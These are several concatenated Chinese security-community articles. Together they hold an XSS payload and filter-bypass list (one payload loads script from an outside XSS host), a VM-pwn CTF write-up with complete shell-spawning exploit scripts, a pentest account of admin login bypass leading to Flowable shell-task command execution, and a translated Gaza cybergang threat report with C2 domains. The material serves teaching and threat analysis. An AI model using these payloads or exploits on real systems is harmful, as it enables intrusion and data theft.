文件上传的常见的绕过姿势应该也挺熟悉的了。。，实际测试的时候发现在进行申请企业、个人认证的时候，上传文件处常常有这个问题。
#### XSS漏洞
老熟人了，不多说了，常见的姿势大家应该都知道。分享一个我学XSS的文章:
<https://wizardforcel.gitbooks.io/xss-naxienian/content/index.html>
Broken5师傅的xsspayload:
<script>alert(1)</script>
<script src=https://xsspt.com/VBAhTu></script>
<a href=javascript:alert(1)>xss</a>
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
<img src=https://www.baidu.com/img/bd_logo1.png onload=alert(1)>
<details open ontoggle=alert(1)>
<body onload=alert(1)>
<M onmouseover=alert(1)>M
<iframe src=javascript:alert(1)></iframe>
<iframe onload=alert(1)>
<input type="submit" onfocus=alert(1)>
<input type="submit" onclick=alert(1)>
<form><input type="submit" formaction=javascript:alert(1)>
##### bypass姿势
<!-- 空格被过滤 -->
<img/src="1"/onerror=alert(1)>
<!-- 双写绕过 -->
<iimgmg src=1 oonerrornerror=aimglert(1)>
<!-- 大小写绕过 -->
<iMg src=1 oNerRor=alert(1)>
<!-- 利用eval() -->
<img src=1 onerror="a=`aler`;b=`t(1)`;eval(a+b);">
<img src=1 onerror=eval(atob('YWxlcnQoMSk='))>
<!-- 利用location -->
<img src=1 onerror=location='javascript:%61%6C%65%72%74%28%31%29'>
<img src=1 onerror=location='javascript:\x61\x6C\x65\x72\x74\x28\x31\x29'>
<img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29">
<!-- 括号被过滤 -->
<img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';">
<!-- onerror=被过滤 -->
<img src=1 onerror =alert(1)>
<img src=1 onerror
=alert(1)>
<!-- 属性被转换为大写 -->
<img src=1 onerror=alert(1)>
<!-- 编码后被检测 -->
<img src=1 onerror=alert(1)>
#### 威胁情报的提交
这块我也没有经验，给大家分享两篇文章吧。。。信息收集到了还是可以试试提交的
<https://mp.weixin.qq.com/s/v2MRx7qs70lpnW9n-mJ7_Q>
<https://bbs.ichunqiu.com/article-921-1.html>
可以试一试加一加各种羊毛群，反手撸一手羊毛群的羊毛。
### 对于挖掘高危、严重级别漏洞的一些思考
因为一直以来挖到高危、严重的数量寥寥无几，基本上就是一直在捡一些中低危漏洞，这段时间也看了很多牛叉的漏洞报告，想聊一聊我的思考。
##### 1.自动化信息收集的能力
这里说的信息收集更多的是如何利用已有的工具进行快速自动化的收集和整理，既要做到速度快，还要做到全面收集不遗漏信息，很多时候这个过程本身就是在发现漏洞。
这些工作应该在我们前期信息收集的阶段就应该全面的完成，所以如何快速化的进行全面的信息收集是我们需要思考和不断实践的。
##### 2.打漏洞组合拳的能力
SRC对于漏洞评级主要是看你漏洞可以造成的危害，所以当挖到一些低危漏洞时，可以先不急着提交，找一找有没有其他可以利用的点打漏洞组合拳。
##### 3.绕waf的能力
这个能力挺欠缺的。挖洞的过程基本遇到waf就溜了，尤其是一些大厂的waf，绕其他waf就是直接嫖一些其他的师傅的思路。
##### 4.细心和耐心和一些运气
心细挖天下，再加上一些运气，可能高危严重就到手了。
#### 总结
挖SRC需要有一个好心态，国内SRC生态并不是很好，SRC感觉更多的提供了一个相对安全的测试保障，所以更需要抱着一种学习的心态去挖，将我们学习的到的知识灵活运用，发现新的问题。不要想我今晚一定要挖到多少漏洞，要拿到多少奖金，不然可能会被忽略三连打崩心态。 | 社区文章 |
# 虚拟指令集Pwn入门
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 虚拟指令集 pwn 入门
19年末尾参加的几场线下赛差不多都有一类题目，虚拟指令集pwn、VM pwn。
这种题目比起常见的菜单堆、栈类型，还算新颖，题目最主要的特点在我看来代码量大一些，逆向起来花一些时间，redhat_final时候一道虚拟指令集pwn等到搞清楚题目逻辑已经是下午了。
此类题目并不需要什么特殊的准备知识，下面按照由易到难介绍几道此类题目的解法，熟悉此类题目的常见形式以及考点，当做虚拟指令集pwn的入门，并介绍我整理题目时候一些感悟。
## 2019-ogeek-ovm
### 题目逻辑
此题模拟了vm行了，提供了set,add,read，write等指令，但在读写过程当中对于索引值的处理不当，导致可以越界读写。
首先看程序的bss段,程序的主要控制结构如下。
模拟了内存，寄存器以及stack。
.bss:0000000000202040 comment dq 4 dup(?) ; DATA XREF: main+15↑o
.bss:0000000000202040 ; main+27E↑o ...
.bss:0000000000202060 public memory
.bss:0000000000202060 ; _DWORD memory[65536]
.bss:0000000000202060 memory dd 10000h dup(?) ; DATA XREF: fetch+1B↑o
.bss:0000000000202060 ; main+1C8↑o ...
.bss:0000000000242060 public reg
.bss:0000000000242060 ; _DWORD reg[16]
.bss:0000000000242060 reg dd 10h dup(?) ; DATA XREF: fetch+4↑o
.bss:0000000000242060 ; fetch+11↑o ...
.bss:00000000002420A0 public stack
.bss:00000000002420A0 ; _DWORD stack[16]
.bss:00000000002420A0 stack dd 10h dup(?) ; DATA XREF: execute+1E3↑o
.bss:00000000002420A0 ; execute+219↑o
此题程序逻辑并不复杂，程序初始化过程当中要求输入pc，sp以及code size。
然后程序的主要逻辑位于execue函数中，里面有指令解析过程。
首先将内存区按照四字节长度进行处理，最高字节代表分类标志，地位三字节进行指令操作。
three_byte = (a1 & 0xF0000u) >> 16; // three byte
two_byte = (unsigned __int16)(a1 & 0xF00) >> 8;
one_byte = a1 & 0xF;
篇幅限制，只解析其中主要的指令,对应的解析看注释。
else if ( HIBYTE(a1) == 0x10 )
{
reg[three_byte] = (unsigned __int8)a1;
}
/*
#reg[dst] = num
def set(dst,num):
return u32((p8(0x10)+p8(dst)+p8(0)+p8(num))[::-1])
*/
else if ( HIBYTE(a1) == 0xC0 )
{
reg[three_byte] = reg[two_byte] << reg[one_byte];
}
/*
#reg[a3] = reg[a2] << reg[a1]
def shift_l(a3,a2,a1):
return u32((p8(0xc0)+p8(a3)+p8(a2)+p8(a1))[::-1])
*/
if ( HIBYTE(a1) == 0x70 )
{
reg[three_byte] = reg[one_byte] + reg[two_byte];
return;
}
/*
#reg[a3] = reg[a2] + reg[a1]
def add(a3,a2,a1):
return u32((p8(0x70)+p8(a3)+p8(a2)+p8(a1))[::-1])
*/
else if ( HIBYTE(a1) == 0x30 )
{
reg[three_byte] = memory[reg[one_byte]];
}
/*
#reg[dst] = memory[reg[idx]]
def read(dst,idx):
return u32((p8(0x30)+p8(dst)+p8(0)+p8(idx))[::-1])
*/
case 0x40u:
memory[reg[one_byte]] = reg[three_byte];
break;
/*
#memory[reg[idx]] = reg[src]
def write(src,idx):
return u32((p8(0x40)+p8(src)+p8(0)+p8(idx))[::-1])
*/
利用其中的shift_l，add，set，read，write功能即可解题。
**漏洞点** ：在读写内存时，read/write功能时，没有检查索引的正负值导致可以向上索引，实现越界读写。
movsxd带符号扩展，int类型。
.text:0000000000000F24 movzx edx, [rbp+one_byte]
.text:0000000000000F28 lea rax, reg
.text:0000000000000F2F movsxd rdx, edx
.text:0000000000000F32 mov ecx, [rax+rdx*4]
.text:0000000000000F35 movzx edx, [rbp+three_byte]
.text:0000000000000F39 lea rax, reg
.text:0000000000000F40 movsxd rdx, edx
.text:0000000000000F43 mov eax, [rax+rdx*4]
.text:0000000000000F46 mov esi, eax
.text:0000000000000F48 lea rax, memory
.text:0000000000000F4F movsxd rdx, ecx
.text:0000000000000F52 mov [rax+rdx*4], esi
.text:0000000000000F55 jmp loc_1205
### 利用过程
1. 越界读got表中的地址。
2. 利用打印功能通过打印寄存器输出libc地址。
3. 越界写，覆盖moment地址为__free_hook-8。
4. 最终覆盖freehook为system，触发，执行system(‘/bin/sh’)。
测试环境ubuntu 18.04
#https://github.com/matrix1001/welpwn
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
ctx.binary = './ovm'
#ctx.custom_lib_dir = '/home/rhl/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu10_amd64' #change the libs
#ctx.remote_libc = './libc.so' #only change the libc.so
#ctx.remote = ('172.16.9.21', 9006)
#ctx.debug_remote_libc = True
ctx.symbols = {
'comment':0x202040,
'memory':0x202060,
'reg':0x242060,
'stack':0x2420a0, #0x18eea0
}
ctx.breakpoints = [0xCF9]
#reg[a3] = reg[a2] << reg[a1]
def shift_l(a3,a2,a1):
return u32((p8(0xc0)+p8(a3)+p8(a2)+p8(a1))[::-1])
#reg[a3] = reg[a2] + reg[a1]
def add(a3,a2,a1):
return u32((p8(0x70)+p8(a3)+p8(a2)+p8(a1))[::-1])
#reg[dst] = memory[reg[idx]]
def read(dst,idx):
return u32((p8(0x30)+p8(dst)+p8(0)+p8(idx))[::-1])
#memory[reg[idx]] = reg[src]
def write(src,idx):
return u32((p8(0x40)+p8(src)+p8(0)+p8(idx))[::-1])
#reg[dst] = num
def set(dst,num):
return u32((p8(0x10)+p8(dst)+p8(0)+p8(num))[::-1])
def init(pc,sp,content):
sla('PC',pc)
sla('SP',sp)
sla('SIZE',len(content))
for i in content:
#sleep(0.1)
sl(str(i))
def lg(s,addr):
print('33[1;31;40m%20s-->0x%x33[0m'%(s,addr))
rs()
dbg()
layout = [
set(0,8),
set(1,0xff),
set(2,0xff),
shift_l(2,2,0),
add(2,2,1),
shift_l(2,2,0),#0xffff00
add(2,2,1),#0xffffff
shift_l(2,2,0),
set(1,0xc8),
add(2,2,1),#0xffffffc8 = -56
read(5,2),#reg[5] = memory[-56]
set(1,1),
add(2,2,1),#0xffffffc9 = -55
read(6,2),#reg[6] = memory[-55]
set(1,0x10),
shift_l(1,1,0),
set(0,0x90),
add(1,1,0),
add(5,5,1),
set(1,47),
add(2,2,1),
write(5,2), #memory[-8] = reg[5]
set(1,1),
add(2,2,1),
write(6,2), #memory[-7] = reg[6]
u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1])
]
init(0,1,layout)
ru('R5: ')
low_byte = int(ru('n'), 16)
ru('R6: ')
high_byte = int(ru('n'), 16)
libc = high_byte << 32
libc += low_byte
print hex(libc)
system = libc - 0x39e4a0
sl('/bin/sh'+p64(system))
irt()
## byteCTF2019-ezarch
这道题目模拟了虚拟机的行为，在命令处理过程当中，由于对于限制条件的设置不当，导致可以改写内存。
iddm@ubuntu:~/Desktop/CTF/VM_PWN/ezarch⟫ checksec ezarch
[*] '/home/iddm/Desktop/CTF/VM_PWN/ezarch/ezarch'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
### 题目逻辑
首先引出虚拟机的控制结构,逆向时插入结构体方便分析，此结构位于bss段中。
00000000 Container struc ; (sizeof=0x46C, mappedto_7)
00000000 mem dq ? //malloc申请的内存
00000008 stack dq ? //vm 模拟stack
00000010 stack_size dd ? //stack_size 固定大小0x1000
00000014 mem_size dd ? //malloc_size
00000018 breakpoints dd 256 dup(?)
00000418 R dd 16 dup(?)//模拟R0-R15寄存器
00000458 _eip dd ?
0000045C _esp dd ?
00000460 _ebp dd ?
00000464 _eflags dq ?
0000046C Container ends
程序提供几个功能
printf("Welcome to ezarch:n[B]reakpointsn[M]emory Setn[R]unn[E]xitn>", a2);
Memory Set功能进行vm 初始化
if ( (_BYTE)buf == 'M' )
{
printf("[*]Memory size>", &buf);
a2 = (char **)&con->mem_size;
__isoc99_scanf("%u", &con->mem_size);//设置size
v5 = con;
mem_size = con->mem_size;
if ( mem_size > 0xA00000 )
{
puts("[!]too large");
}
else
{
v7 = malloc(mem_size);
if ( v5->mem )
{
free((void *)v5->mem);
v8 = con;
con->mem_size = 0;
}
else
{
v8 = con;
}
v8->mem = (__int64)v7;
v9 = 0LL;
puts("[*]Memory inited");
printf("[*]Inited size>", a2); // 这里没有比较inited size和mem_size的大小，存在溢出
__isoc99_scanf("%llu", &v17);
printf("[*]Input Memory Now (0x%llx)n", v17);
while ( v9 < v17 ) // 输入字节码
{
v11 = (void *)(con->mem + v9);
if ( v17 - v9 > 0xFFF )
{
v10 = read(0, v11, 0x1000uLL);
if ( v10 <= 0 )
goto LABEL_26;
}
else
{
v10 = read(0, v11, v17 - v9);
if ( v10 <= 0 )
LABEL_26:
exit(1);
}
v9 += v10;
}
puts("[*]Memory Inited");
puts("[*]Now init some regs");
//进行eip/esp/ebp寄存器的赋值
printf("eip>");
v12 = &con->_eip;
__isoc99_scanf("%u", &con->_eip);
printf("esp>", v12);
v13 = &con->_esp;
__isoc99_scanf("%u", &con->_esp);
printf("ebp>", v13);
__isoc99_scanf("%u", &con->_ebp);
a2 = (char **)con;
v14 = (unsigned __int64)&con->breakpoints[2];
v15 = (signed int)con;
*(_QWORD *)con->breakpoints = -1LL;
a2[130] = (char *)-1LL;
memset((void *)(v14 & 0xFFFFFFFFFFFFFFF8LL), 0xFFu, 8 * ((v15 - (v14 & 0xFFFFFFF8) + 1048) >> 3));
memset(&unk_2020C0, 0, 0x1000uLL);
*((_DWORD *)a2 + 4) = 4096;
a2[1] = (char *)&unk_2020C0;
}
}
接下来分析Run函数，此函数负责vm解析字节码，采用switch循环结构，每次循环字节码迁移10B，可以发现是固定长度字节码。
opcode格式如下：
10字节的opline结构
+0x0 opcode
+0x1 type位，标记操作数的类型，高4位代表操作数2类型，低四位代表操作数1类型
+0x2 4字节操作数1
+0x6 4字节操作数2
操作数类型 0 寄存器变量 R0-R15 16=ESP 17=EBP
操作数类型 1 立即数
操作数类型 2 取地址值
函数中一下判断出错，导致可以越界读写内存。
if ( _eip >= mem_size || (unsigned int)a1->_esp >= a1->stack_size || mem_size <= a1->_ebp )
return 1LL;
mem_size可以控制，并且stack_size固定为0x1000，当ebp偏移大于0x1000(stack地址距离bss段距离0x1000)时，由于stack位于bss段上方，可以越界读写到bss段，进而读写到libc地址段。
利用过程主要利用三个功能就可以，add,sub,mov指令即可。
解析一个mov的部分指令，如下：
case 3:
judge_2 = *(_BYTE *)(v4 + 1) >> 4;//首先解析操作数2 type类型
if ( judge_2 == 1 )//type = 1 立即数
{
num_2 = *(_DWORD *)(v4 + 6);
}
else if ( judge_2 < 1u )//type = 0 ，寄存器的值
{
v45 = *(unsigned int *)(v4 + 6);//取操作数
if ( (unsigned int)v45 <= 0xF )
{
num_2 = a1->R[v45];
}
else if ( (_DWORD)v45 == 16 )
{
num_2 = a1->_esp;
}
else
{
if ( (_DWORD)v45 != 17 )
return 1LL;
num_2 = a1->_ebp;
}
}
else
{
if ( judge_2 != 2 )//type = 2 ，对应取地址
return 1LL;
v42 = *(unsigned int *)(v4 + 6);
if ( (unsigned int)v42 <= 0xF )
{
num_2 = *(_DWORD *)(a1->mem + (unsigned int)a1->R[v42] % a1->mem_size);
}
else if ( (_DWORD)v42 == 16 )
{
num_2 = *(_DWORD *)(a1->stack + (unsigned int)a1->_esp);
}
else
{
if ( (_DWORD)v42 != 17 )
return 1LL;
num_2 = *(_DWORD *)(a1->stack + (unsigned int)a1->_ebp);
}
}
if ( *(_BYTE *)(v4 + 1) & 0xF )//操作数1 type类型
{
if ( (*(_BYTE *)(v4 + 1) & 0xF) != 2 )
return 1LL;
v44 = *(unsigned int *)(v4 + 2);
if ( (unsigned int)v44 <= 0xF )
{
*(_DWORD *)(a1->mem + (unsigned int)a1->R[v44] % a1->mem_size) = num_2;
v16 = a1->_eip;
}
else if ( (_DWORD)v44 == 16 )
{
*(_DWORD *)(a1->stack + (unsigned int)a1->_esp) = num_2;
v16 = a1->_eip;
}
else
{
if ( (_DWORD)v44 != 17 )
return 1LL;
*(_DWORD *)(a1->stack + (unsigned int)a1->_ebp) = num_2;
v16 = a1->_eip;
}
}
else
{
v46 = *(unsigned int *)(v4 + 2);
if ( (unsigned int)v46 <= 0xF )
{
a1->R[v46] = num_2;
v16 = a1->_eip;
}
else if ( (_DWORD)v46 == 16 )
{
a1->_esp = num_2;
v16 = a1->_eip;
}
else
{
if ( (_DWORD)v46 != 17 )
return 1LL;
a1->_ebp = num_2;
v16 = a1->_eip;
}
}
goto LABEL_26;
### 利用过程
通过调试我们一直VM stack位于bss段上方0x1000处，而且由于Run函数中对于判断条件设置有误，导致我们可以越界读写内存。
因此，我们利用思路如下：
1. 利用越界读写，使用mov将bss段地址写到vm 寄存器中。
2. 由于got表可写，利用sub功能，将vm寄存器中的bss段地址，减去对应偏移，对应到puts_got。
3. 利用mov功能，将stack的地址改为puts_got地址。
4. 利用mov功能，将puts_got地址对应的libc地址地位赋给vm寄存器
5. 然后利用sub功能，减去偏移得到对应的one_gadget地址。
6. 利用mov功能，覆盖puts_got为one_gadget地址，get shell。
调试一下vm stack地址以及大小
pwndbg> x/20xg $node
0x5555557570c0: 0x0000555555759010 0x00005555557560c0 # stack位于bss上方0x1000处
0x5555557570d0: 0x0000300000001000 0xffffffffffffffff # stack地址大小为0x1000
0x5555557570e0: 0xffffffffffffffff 0xffffffffffffffff
0x5555557570f0: 0xffffffffffffffff 0xffffffffffffffff
0x555555757100: 0xffffffffffffffff 0xffffffffffffffff
0x555555757110: 0xffffffffffffffff 0xffffffffffffffff
0x555555757120: 0xffffffffffffffff 0xffffffffffffffff
0x555555757130: 0xffffffffffffffff 0xffffffffffffffff
0x555555757140: 0xffffffffffffffff 0xffffffffffffffff
0x555555757150: 0xffffffffffffffff 0xffffffffffffffff
pwndbg> x/20xg $R
0x5555557574d8: 0x0000000000000000 0x0000000000000000
0x5555557574e8: 0x0000000000000000 0x0000000000000000
0x5555557574f8: 0x0000000000000000 0x0000000000000000
0x555555757508: 0x0000000000000000 0x0000000000000000
0x555555757518: 0x0000000000000000 0x0000000000001008
0x555555757528: 0x0000000000000000 0x0000000000000000
0x555555757538: 0x0000000000000000 0x0000000000000000
0x555555757548: 0x0000000000000000 0x0000000000000000
0x555555757558: 0x0000000000000000 0x0000000000000000
exp如下，利用过程参照注释，试环境ubuntu 16.04：
#https://github.com/matrix1001/welpwn
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
ctx.binary = './ezarch'
#ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
#ctx.remote = ('172.16.9.21', 9006)
#ctx.debug_remote_libc = True
ctx.symbols = {
'node':0x2030C0,
'R':0x2030c0+0x418
}
ctx.breakpoints = [0xfd0]#menu
def lg(s,addr):
print('33[1;31;40m%20s-->0x%x33[0m'%(s,addr))
def init(size,init_size,memory,eip,esp,ebp):
sla('[E]xitn>','M')
sla('Memory size>',size)
sla('size>',init_size)
sa('Input Memory Now',memory)
sla('eip>',eip)
sla('esp>',esp)
sla('ebp>',ebp)
def sub(type,op1,op2):
return 'x02'+type+p32(op1)+p32(op2)
def mov(type,op1,op2):
return 'x03'+type+p32(op1)+p32(op2)
rs()
dbg()
payload = ''
#mov R[0],*(stack+ebp)
payload += mov('x20',0,17)
#sub R[0],0xa0
payload += sub('x10',0,0xa0)
#mov *(stack+ebp),R[0]
payload += mov('x02',17,0)
#mov R[0],*(stack+esp)
payload += mov('x20',0,16)
#sub R[0],offset
payload += sub('x10',0,0x2a47a)
#mov *(stack+esp),R[0]
payload += mov('x02',16,0)
init(0x3000,len(payload),payload,0,0,0x1008)
sla('[E]xitn>','R')
irt()
## 2019-redhatfinal-pwn3
此题并非模拟了vm行为，而单纯的自己设计指令，并根据规则解析输入的内容。
指令逻辑还是比较繁多的，逆向清楚已经是下午了，做出来以后没得几次分就比赛结束了。
之前写过这篇的wp，移步[链接](https://bbs.pediy.com/thread-255782.htm)。
## 总结
2019年ciscn初赛的时候有一道比较简单的虚拟指令集pwn，如果觉得上述有些困难的话，可以先从这里入门体验一下，推荐一个[文章](//23r3f.github.io/2019/04/23/2019%E5%9B%BD%E8%B5%9B%E7%BA%BF%E4%B8%8A%E5%88%9D%E8%B5%9B/#virtual)),感兴趣可以去看一下。
上面分析了三道题目，前两道属于第一类，模拟VM行为pwn；第三道属于虚拟指令集pwn，单纯解析输入执行指令。
通过上面三道题目，可以发现这类题目代码量一般较大，逆向难度偏高，就像[m4p1e](http://wiki.m4p1e.com/article/getById/67)师傅介绍的，我们对于此类题目应该搞清楚的主要有几个地方：
1. 题目过程当中的指令集有哪些。
2. 每个指令解析过程具体是如何进行的。
在逆向过程中带着这个意识去分析，对于可以读写内存的指令着重关注，并且一般解题并不需要全部的指令，出题人可能为了加大难度加了些多余的指令，特别对于线下赛时，可以边分析边解题，解题脚本写不下去时继续分析，这样对于线下赛先解题得分高的环境下是比较有利的，吸取我当初的教训。
## Refferings:
<https://dittozzz.top/2019/09/28/VM-pwn-%E5%88%9D%E6%8E%A2/>
<http://blog.eonew.cn/archives/1224#ovm>
<http://blog.leanote.com/post/xp0int/%5BPwn%5D-ezarch-cpt.shao>
<http://blog.eonew.cn/archives/1220#ezarch>
<http://wiki.m4p1e.com/article/getById/67> | 社区文章 |
# 越权跳转导致的flowable命令执行
## 背景
项目中遇到的问题，进行记录。
## 过程
在目标系统测试一段时间没有收获过后发现一个叫做学习平台功能模块处发生跳转到8092端口上去。
后续观察数据包的时候发现，跳转形式是
[http://xxx.com:8092/login?username=xx&token=xxx](http://xxx.com:8092/login?username=xx&token=xxx)
抱着试一试的心态试了一下，将userName换成了admin，重新访问后，直接以管理员的身份进入这个系统的后台。
后续了解到之前有人挖到过这个洞，但是甲方不收，就准备简单看一下这边的功能。
绕了半天在一个流程模板的功能点发现使用了一款叫做flowable的工作流引擎。
然后看了一下，发现了一个叫做shell任务的模块。
试了一下，在里面写入命令，但好像没有地方可以让这个任务直接运行起来，后续去看了一下文档，也没有找到特别多的可利用信息。
找了一圈得shell任务是怎么写的。
<serviceTask id="shellEcho" flowable:type="shell" >
<extensionElements>
<flowable:field name="command" stringValue="cmd" />
<flowable:field name="arg1" stringValue="/c" />
<flowable:field name="arg2" stringValue="echo" />
<flowable:field name="arg3" stringValue="EchoTest" />
<flowable:field name="arg4" stringValue=">" />
<flowable:field name="arg5" stringValue="D:\content\sec.txt" />
<flowable:field name="wait" stringValue="true" />
<flowable:field name="outputVariable" stringValue="resultVar" />
</extensionElements>
</serviceTask>
这边是图形化界面，可以直接进行配置，如下（当时写的是echo一个txt文件，没有截图）：
但还需要让shell任务运行，后续看到他已经配好了一个完整的流程，就在开始流程后插入了这个shell任务。
然后保存后通过另一个点将这个新的模板进行部署，到现有的功能中去，意味着我只要去发起这个流程就能触发我的shell命令。
部署：
发起对应的流程：
开始尝试的是写入了一个txt文件，成功
然后尝试写入jsp文件，访问直接下载，其他目录也不行，应该是jar包那种环境
由于系统是Windows，将命令改成powershell的指令
再次发起流程，ok
## 总结
误打误撞，如果上次甲方接受了越权跳转的漏洞，那么可能就遇不到这个功能点了，存在运气成分。 | 社区文章 |
# 【技术分享】对Gaza网络犯罪组织2017年新动向的分析
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/gaza-cybergang-updated-2017-activity/82765/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、概要分析**
Gaza（加沙）是使用阿拉伯语、带有政治动机的一个网络犯罪组织，自2012年起开始活跃在公众视野中，其攻击目标主要为MENA（中东及北非）区域。Gaza组织的攻击频率从未降低，经常会攻击政府机构/大使馆、石油及天然气机构、媒体/出版界、公众活动分子、政治家以及外交官。
在2017年年中，安全人员发现Gaza活跃在MENA区域的油气机构中，渗透系统并窃取数据，攻击持续时间跨度明显已超过1年。
另一方面，Gaza **使用了最近披露的CVE-2017-0199漏洞** ， **并且将下载脚本嵌入Microsoft
Access文件中，以减少攻击行为被检测到的风险。** 研究人员已于2017年4月底开始跟踪到有关移动恶意软件的踪影，目前相关调查仍在进行中。
该组织最近的目标貌似不具备共同特征，攻击者在目标选择方面似乎没有针对性，他们在广泛寻找MENA区域的各类情报。
关于Gaza组织使用新的工具以及技术，包括：
利用CVE 2017-0199漏洞。
在Microsoft Access文件中嵌入宏，以降低检测率。
可能涉及到Android移动恶意软件。
先前我们已公布过一份研究文章，请参考[此处](https://securelist.com/gaza-cybergang-wheres-your-ir-team/72283/)了解相关信息。
卡巴斯基实验室相关产品及服务可以正确检测并阻止Gaza组织的攻击行为，已检测到的类别包括：
**HEUR:Exploit.MSOffice.Generic**
**HEUR:Trojan.Win32.Cometer.gen**
**HEUR:Trojan.Win32.Generic**
**Trojan-Downloader.Win32.Downeks**
**Trojan-Spy.MSIL.Downeks**
**Win32.Bublik**
**Win32.Agentb**
卡巴斯基情报报告服务的客户可以解有关Gaza的详细信息，请联系[email protected]咨询相关情况。
**二、技术细节**
早些时候，Gaza犯罪组织凭借简单、通用的工具取得了惊人的成果，达到了他们的既定目标。他们依靠各种远程访问木马（Remote Access
Trojan，RAT）实施攻击行为，这类工具包括 **Downeks、Qasar、Cobaltstrike** 等。
然而，最近一段时间（2017年6月）以来，攻击者开始利用CVE 2017-0199漏洞，在未安装修复补丁的受害者系统上通过Microsoft
Office文档直接执行恶意代码（本文案例中所使用的是Cobaltstrike载荷）。另一方面，我们发现在2017年4月时，攻击者在其中一个命令服务器上部署了一个Android木马。
大多数情况下，攻击者通过包含压缩附件或者下载链接的邮件来传播恶意软件。从2017年3月起，我们发现攻击者开始把下载器或者包含宏的Microsoft
Office文档发送给受害者。当受害者打开这类文件时，下载器会连接某个URL或者IP地址，获取实际使用的载荷。一旦成功执行，攻击者可以借助恶意软件获取完全访问权限，可以在受害者设备上收集文件、记录键盘动作、捕捉屏幕等。如果下载器初始下载的恶意软件被受害者检测出来，它会尝试下载其他恶意软件，希望其中某个文件能正常工作。
附录一中包含完整的攻击指示器（IOC）列表，附录二中包含了攻击者所使用的典型钓鱼样本、恶意软件及相关释放程序、命令服务器信息。
**三、近期攻击活动**
最近发现的与Gaza组织攻击有关的相关特征如下图所示：
关于这些文件附录一中有更详细的描述。
**四、新发现**
Gaza组织成员一直在不同层面上拓展自身技能，他们会使用新的方法和技术来投放恶意软件，也会根据区域性政治及人道主义事件来调整社会工程学策略。
在2017年年中，研究人员发现Gaza活跃在MENA区域的油气机构中，渗透系统并窃取数据，攻击持续时间跨度明显已超过1年。相关的恶意文件之前已经披露过，请访问此处了解更多信息。
在使用Android移动恶意软件的同时，攻击者仍然会继续使用Downeks下载器以及Quasar或者Cobaltstrike
RAT来攻击Windows设备，借助这些工具达到远程访问及数据窃取目标。随着CVE
2017-0199漏洞的利用，攻击者可以在未安装补丁的Windows系统上从Microsoft
Office文档中直接运行代码，这也大大提供了攻击的有效性。此外，攻击者也会利用Microsoft
Access数据库文件将攻击行为检出率保持在较低水平，因为这种投放恶意软件的方式并不常见。
综合利用改进的技术，攻击者可以持续针对各种受害者个人及组织实施攻击行为，有时候甚至可以绕过防御屏障，实现长期驻留。
**4.1.1 钓鱼样本**
样本MD5:66f144be4d4ef9c83bea528a4cd3baf3。
文件名：تصريح لأمير قطر واتهام الإمارات في اختراق وكالة الأنباء.exe
原始文件名：Qatar-27-5-2017.rar。
解压后的MD5：66f144be4d4ef9c83bea528a4cd3baf3。
文件名：تصريح لأمير قطر واتهام الإمارات في اختراق وكالة الأنباء.exe。
SHA256值：7fcac2f18a8844e4af9f923891cfb6f637a99195a457b6cdb916926d709c6a04。
C2服务器：moreoffer[.]life。
首次出现时间：2017年5月。
**4.2 使用包含宏的Microsoft Access文件**
使用包含宏的Microsoft Access文件是攻击组织最新拓展的技术。 **事实证明，在MS Access数据库中嵌入宏的检出率非常低。**
MD5值：6d6f34f7cfcb64e44d67638a2f33d619。
文件名：GAZA2017.mdb。
托管地址：http://download.data-server.cloudns[.]club/GAZA2017.mdb。
攻击者会下载并执行如下文件：
data-server.cloudns[.]club/wordindexer.exe
data-server.cloudns[.]club/indexer.exe
解密后的代码如下所示：
**4.3 利用CVE 2017-0199漏洞**
MD5值：87a67371770fda4c2650564cbb00934d。
首次出现时间：2017年6月20日。
文件名：
doc
نقاط اتفاق حماس وتيار فتح الاصلاحي.doc
محضر اجتماع مركزية فتح الليلة.doc
سلفة أم راتب للموظفين يوم الثلاثاء المقبل؟.doc
这些攻击案例是CVE-2017-0199漏洞的典型利用手法，攻击过程通常会从发送带有恶意RTF文档的电子邮件开始。程序代码在处理Ole2Link嵌入式对象时存在漏洞，利用这个漏洞，Microsoft
Office
